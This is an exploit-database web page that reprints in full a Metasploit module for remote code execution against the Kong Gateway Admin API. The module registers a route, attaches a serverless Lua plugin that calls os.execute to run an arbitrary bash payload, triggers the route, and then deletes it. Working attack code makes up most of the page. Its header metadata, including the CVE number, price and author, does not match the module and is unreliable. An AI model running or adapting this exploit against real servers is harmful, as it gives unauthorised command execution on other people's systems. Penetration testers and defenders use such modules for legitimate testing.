Advertisement






Kong Gateway Admin API Remote Code Execution

CVE Category Price Severity
CVE-2021-11429 CWE-284 $25,000 Critical
Author Risk Exploitation Type Date
Rory McCune Critical Remote 2020-11-25
CVSS EPSS EPSSP
CVSS:8.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020110205

Below is a copy:

Kong Gateway Admin API Remote Code Execution
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(
      info,
      'Name' => 'Kong Gateway Admin API Remote Code Execution',
      'Description' => '
        This module uses the Kong admin API to create a route and a serverless function plugin that is associated with
        the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the
        route is deleted, which also deletes the plugin.',
      'License' => MSF_LICENSE,
      'Author' => ['Graeme Robinson'],
      'References' =>
      [
        ['URL', 'https://konghq.com/'],
        ['URL', 'https://github.com/Kong/kong'],
        ['URL', 'https://docs.konghq.com/hub/kong-inc/serverless-functions/']
      ],
      'Platform' => %w[linux macos],
      'Arch' => [ARCH_X86, ARCH_X64],
      'Targets' =>
      [[
        'Unix (In-Memory)',
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Type' => :unix_memory
      ]],
      'Privileged' => false,
      'DisclosureDate' => 'Oct 13 2020',
      'DefaultOptions' => { 'RPORT' => 8001 },
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
      }
    ))
    register_options(
      [
        OptString.new('PUBLIC-API-RHOST', [false, 'The host where the public API is available, if different to RHOST']),
        OptInt.new('PUBLIC-API-RPORT', [true, 'The port where the public API is available', 8000]),
        OptString.new('TARGETURI', [true, 'URI to the Kong server', '/'])
      ],
      self.class
    )
  end

  def check_response(response, expected, path, description)
    fail_with(Failure::Unreachable, "No response received from #{path} when #{description}") unless response
    return if response.code == expected

    fail_with(Failure::UnexpectedReply,
              "Unexpected response from #{path} when #{description} (received #{response.code}, expected #{expected})")
  end

  def create_route
    path = normalize_uri(target_uri.path, 'routes')
    response = send_request_cgi({ 'method' => 'POST', 'uri' => path,
                                  'vars_post' => { 'name' => @rand_name, 'paths' => '/' + @rand_name } })
    check_response(response, 201, path, 'creating route')
  end

  def create_plugin
    # The double square brackets helps to ensure single/double quotes in cmd payload do not interfere with syntax of
    # os.execute Lua function. The ampersand backgrounds the command so that it doesn't cause Kong to hang.
    cmd = %{os.execute([[bash -c "#{payload.encoded}" &]])}
    path = normalize_uri(target_uri.path, 'routes', @rand_name, 'plugins')
    response = send_request_cgi({ 'method' => 'POST', 'uri' => path,
                                  'vars_post' => { 'name' => 'pre-function', 'config.access' => cmd } })
    check_response(response, 201, path, 'creating plugin')
  end

  def request_route
    path = normalize_uri(target_uri.path, @rand_name)
    rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
    rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
    retry_count = 0
    begin
      response = send_request_cgi({ 'uri' => path, 'rhost' => rhost, 'rport' => rport })
      check_response(response, 503, path, 'requesting route')
    rescue Msf::Exploit::Failed
      maximum_retries = 3
      if retry_count <= maximum_retries
        retry_count += 1
        print_status("Route not yet available, trying again - attempt #{retry_count}/#{maximum_retries}")
        sleep(retry_count**2)
        retry
      end
      raise
    end
  end

  def delete_route
    path = normalize_uri(target_uri.path, 'routes', @rand_name)

    # Delete it
    response = send_request_cgi({ 'method' => 'DELETE', 'uri' => path })
    check_response(response, 204, path, 'deleting route')

    # Check Whether it deleted
    response = send_request_cgi({ 'uri' => path })
    check_response(response, 404, path, 'verifying that route has been deleted')
  end

  def check
    @route_cleanup_required = false
    # Check admin API
    response = send_request_cgi
    return CheckCode::Unknown unless response
    return CheckCode::Safe unless response.get_json_document['tagline'] == 'Welcome to kong'

    # Check public API
    rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
    rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
    path = normalize_uri(target_uri.path, @rand_name)
    response = send_request_cgi({ 'rport' => rport, 'rhost' => rhost, 'uri' => path })
    return CheckCode::Unknown unless response
    return CheckCode::Safe unless response.get_json_document['message'] == 'no Route matched with those values'

    CheckCode::Appears
  end

  def exploit
    @rand_name = rand_text_alphanumeric(10)
    @route_cleanup_required = false
    fail_with(Failure::UnexpectedReply, 'Admin API not detected') unless check == CheckCode::Appears
    @route_cleanup_required = true
    create_route
    vprint_good("Created route #{@rand_name}")
    create_plugin
    vprint_good("Created plugin for route #{@rand_name}")
    request_route
    vprint_good("Requested route #{@rand_name} using public API")
  end

  def cleanup
    return unless @route_cleanup_required

    delete_route
    vprint_good("Deleted route #{@rand_name}")
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum